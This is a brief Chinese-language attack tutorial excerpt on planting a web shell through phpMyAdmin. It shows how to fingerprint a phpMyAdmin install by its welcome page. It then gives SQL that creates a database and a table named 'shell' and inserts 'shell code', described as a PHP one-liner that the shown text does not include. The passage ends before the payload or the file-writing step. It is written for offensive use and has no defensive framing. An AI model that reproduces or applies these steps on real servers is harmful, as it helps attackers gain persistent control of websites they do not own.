识别phpmyadmin的方法：访问/phpmyadmin/，返回Welcome to <bdo dir="ltr" xml:lang="en">phpMyAdmin

首先：
create database joyuan; /* 建立数据库joyuan */
use joyuan; /* 连接joyuan数据库 */
create table shell(code text); /* 建立表shell字段code文本型数据text */

然后：
insert into shell(code) /* 插入数据到shell表中的code字段 */
values ('shell代码'); /* 值为shell代码 我用PHP一句话，看后面*/
...